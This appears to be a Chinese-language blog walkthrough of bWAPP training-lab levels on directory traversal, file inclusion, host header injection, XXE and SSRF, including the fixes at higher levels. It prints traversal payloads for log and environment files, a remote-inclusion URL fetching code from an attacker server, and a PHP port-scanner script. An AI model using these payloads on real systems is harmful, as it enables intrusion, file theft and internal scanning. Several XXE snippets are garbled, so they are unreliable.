目录穿越, 也被称为目录遍历/directory traversal/path traversal)是通过使用 ../
等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。
观察URL, 参数directory=documents, 是一个目录, 且页面列出了docments下的所有文件信息, 这就为目录遍历创造了条件:
1. 可控变量: directory
2. 恶意输入
尝试用 ../ 返回上一级目录:
由于没有对网站根目录做限制, ../ 可以返回至根目录:
更大胆的做法是, 直接可以通过绝对路径来目录穿越:
Medium等级对directory变量值做了过滤:
即使对 ../ 等做了过滤, 但是仍然可以用绝对路径:
high级别就利用realpath()函数, 做了绝对的防护:
realpath() 函数: 返回绝对路径。该函数删除所有符号连接(比如 '/./', '/../' 以及多余的 '/'),并返回绝对路径名。
目录穿越+文件包含
常见的文件包含漏洞的形式为
考虑常用的几种包含方式为
- 同目录包含
file=.htaccess
- 目录遍历
?file=../../../../../../../../../var/lib/locate.db
- 日志注入
?file=../../../../../../../../../var/log/apache/error.log
- 利用
/proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
看到参数 page=message.txt 是可控的:
可以读取当前php文件内容:
也可以结合目录穿越, 包含上一级文件内容:
Medium级别中, 对../进行了过滤,
但是没有过滤 ./ 以及 /
high级别同样用realpath()函数, 做了绝对的防护。
点击here链接, 直接跳转到指定的url,
观察页面, 是利用跳转
那么跳转的URL是否是用户可控的呢?
抓包修改一下host看一下URL是否改变:
可以看到, 链接地址会随着host地址改变, 192.168.10.102是攻击者的服务器地址, 攻击者可以在自己的服务器上同样构造一个目录:
http://192.168.10.102/bWAPP/portal.php
portal.php的内容如下:
alert('You are attacked!!');
window.history.back(-1);";
die;
?>
当用户点击该链接时, 就出现:
采用非变量设置链接:
与上一题的原理一样, 都是通过直接引用http头中的host地址来定位url, 当host被恶意修改的时候, 这样容易导致漏洞的出现
由于本地环境未配置成功, 所以借用一下其他例子: (其实原理都一样)
观察修改密码的链接, 看到localhost很明显是可控的:
通过抓包修改host地址, 就可以将修改密码的邮件发送到攻击者的服务器, 从而修改受害者的账户密码。
本地/远程文件包含 (location/remote file include)
观察参数language是可控变量:
于是可以利用文件包含漏洞, 包含一个php验证:
远程包含需要两个条件:
1. php.ini中allow_url_include和allow_url_fopen的开启
2. 所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)
和本地包含原理类似, 直接在可控参数language传入远程服务器文件的地址:
Medium等级下, 传入的参数并不那么容易看得出是php的文件:
审计源码, 发现只不过是将language参数值与 .php 悄悄拼接了起来而已:
那么知道了原理, 传入的参数也省略后缀即可:
远程包含也是同理。
相对于Low和Medium而言, High基本采用白名单的形式, 只能执行白名单中的php, 从而杜绝了漏洞的产生:
进入页面, 发现不匹配, 提示需要手机访问才能正常使用:
猜测肯定是通过判断浏览器的User-Agent来判断的:
换一个手机端的User-Agent访问:
题目想说的是, 单纯通过User-Agent来判断一件事儿是不准确的, 因为它可以被伪造, 就像Referer一样。
首先介绍一下 .htaccess 文件:
.htaccess是什么
.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
工作原理
.htaccess文件(或者"分布式配置文件")提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。
说明:
如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:
AccessFileName .config
通常,.htaccess文件使用的配置语法和主配置文件一样。AllowOverride指令按类别决定了.htaccess文件中哪些指令才是有效的。如果一个指令允许在.htaccess中使用,那么在本手册的说明中,此指令会有一个覆盖项段,其中说明了为使此指令生效而必须在AllowOverride指令中设置的值。
(不)使用.htaccess文件的场合
一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限。有一种很常见的误解,认为用户认证只能通过.htaccess文件实现,其实并不是这样,把用户认证写在主配置文件中是完全可行的,而且是一种很好的方法。
.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。
虽然如此,一般都应该尽可能地避免使用.htaccess文件。任何希望放在.htaccess文件中的配置,都可以放在主配置文件的
避免使用.htaccess文件有两个主要原因:
1. 首先是性能。
如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件,因此,无论是否真正用到,启用.htaccess都会导致性能的下降。另外,对每一个请求,都需要读取一次.htaccess文件。还有,Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用(参见指令的生效),所以,如果请求/www/htdocs/example中的页面,Apache必须查找以下文件:
/.htaccess /www/.htaccess /www/htdocs/.htaccess /www/htdocs/example/.htaccess
总共要访问4个额外的文件,即使这些文件都不存在。(注意,这可能仅仅由于允许根目录"/"使用.htaccess ,虽然这种情况并不多。)
2. 其次是安全。
这样会允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,所以请认真考虑是否应当给予用户这样的特权。但是,如果给予用户较少的特权而不能满足其需要,则会带来额外的技术支持请求,所以,必须明确地告诉用户已经给予他们的权限,说明AllowOverride设置的值,并引导他们参阅相应的说明,以免日后生出许多麻烦。
注意,在/www/htdocs/example目录下的.htaccess文件中放置指令,与在主配置文件中
/www/htdocs/example目录下的.htaccess文件的内容:
AddType text/example .exm
httpd.conf文件中摘录的内容:
AddType text/example .exm
但是,把配置放在主配置文件中更加高效,因为只需要在Apache启动时读取一次,而不是在每次文件被请求时都读取。
将AllowOverride设置为none可以完全禁止使用.htaccess文件: AllowOverride None
(参考: .htaccess 详解 )
直接访问没毛病:
源码中, 删除了.htaccess文件, 允许所有用户访问documents下面的pdf文件:
Medium和High级别中, 首先创建一个.htaccess文件, 然后将 Deny from all 写入文件:
意思就是说,例如在“/.htaccess”写入“Deny from all”时,“/.htaccess”该目录下的所有内容都不能被访问,
访问 http://localhost:8080/bWAPP/documents/Iron_Man.pdf 出现:
于是下面的代码就是只能对pdf文件进行下载:
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
三个链接代表三种不同类型的SSRF利用方式, 文件在 evil/ 下:
1. Port scan
利用SSRF进行端口扫描,
这里用利用之前的远程文件包含漏洞, 因为构成远程文件包含漏洞的必要条件是:
所包含的远程文件后缀不能与目标服务器语言相同. (比如目标服务器是php解析的, 远程服务器的文件不能是php)
就可以将ssrf-1.txt当做php执行了。
ssrf-1.txt内容如下:
alert(\"U 4r3 0wn3d by MME!!!\");";
if(isset($_REQUEST["ip"]))
{
//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
$results = array();
foreach($ports as $port)
{
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
{
$results[$port] = true;
fclose($pf);
}
else
{
$results[$port] = false;
}
}
foreach($results as $port=>$val)
{
$prot = getservbyport($port,"tcp");
echo "Port $port ($prot): ";
if($val)
{
echo "OK
";
}
else
{
echo "Inaccessible
";
}
}
}
?>
远程文件包含:
http://localhost:8080/bWAPP/rlfi.php?ip=127.0.0.1&language=http://192.168.10.102/evil/ssrf-1.txt&action=go
(注意, 这里远程包含的时候, 由于脚本中指定了$port, 所以URL中就不再需要指定8080端口 )
2. XXE 外部实体注入访问敏感文件
关于XXE外部实体注入可参考之前的blog: PiKachu靶场之XXE (xml外部实体注入漏洞)
ssrf-2.txt的内容如下:
# Accesses a file on the internal network (1)
]>
&bWAPP; blah
# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!
]>
&bWAPP; blah
这里结合上一关, XML External Entity Attacks (XXE) 靶场:
将xee-2.php的包抓到burpsuite的repeater里测试,
发现出错:
查看源码, 是由于外部实体DTD为空造成的:
是因为PHP中有一个函数 simplexml_load_string() 将形式良好的 xml 字符串转换为 SimpleXMLElement 对象
在PHP里面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默认是禁止解析xml外部实体内容的。
为了模拟漏洞,我们手动指定 LIBXML_NOENT 选项开启了xml外部实体解析。
然后测试成功:
任务二: 获取xml密码文件
获取xml文件的时候, 直接通过外部实体引用是不行的:
因为这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了;
可以通过外部实体+参数实体的写法, 具体参考: https://www.cnblogs.com/backlion/p/9302528.html
这里换个思路, 使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据:
在解密得到xml文件内容:
file协议和http协议都是一样的原理, 甚至写法都差不多:
]>
&bWAPP; blah
未成功, 可能在某些环境可以用XXE探测得到, 读者可以留意一下。
3. 使用XXE进行SmartTV的拒绝服务漏洞的利用
这个任务需要有SmartTV的靶场才能进行学习,但是该任务仅是用来说明可以使用XXE中的SSRF进行站点或应用漏洞的利用,这里我没有按照该任务中要求对SmartTV的拒绝服务漏洞进行利用,而是用之前的例子对内网站点的SQL注入漏洞进行利用。如,192.168.10.102主机上有注入漏洞那么可以发送如下payload可以使用SSRF进行SQL漏洞的利用,当然也可以进行Struts2等漏洞的利用。
]>
&bWAPP; blah
上一题关于XXE已经讲的很详细了, 这里只列出一个注入栗子:
在Medium和High级别中, 禁用了引用外部DTD实体:
因而无法解析DTD:
libxml_disable_entity_loader(true);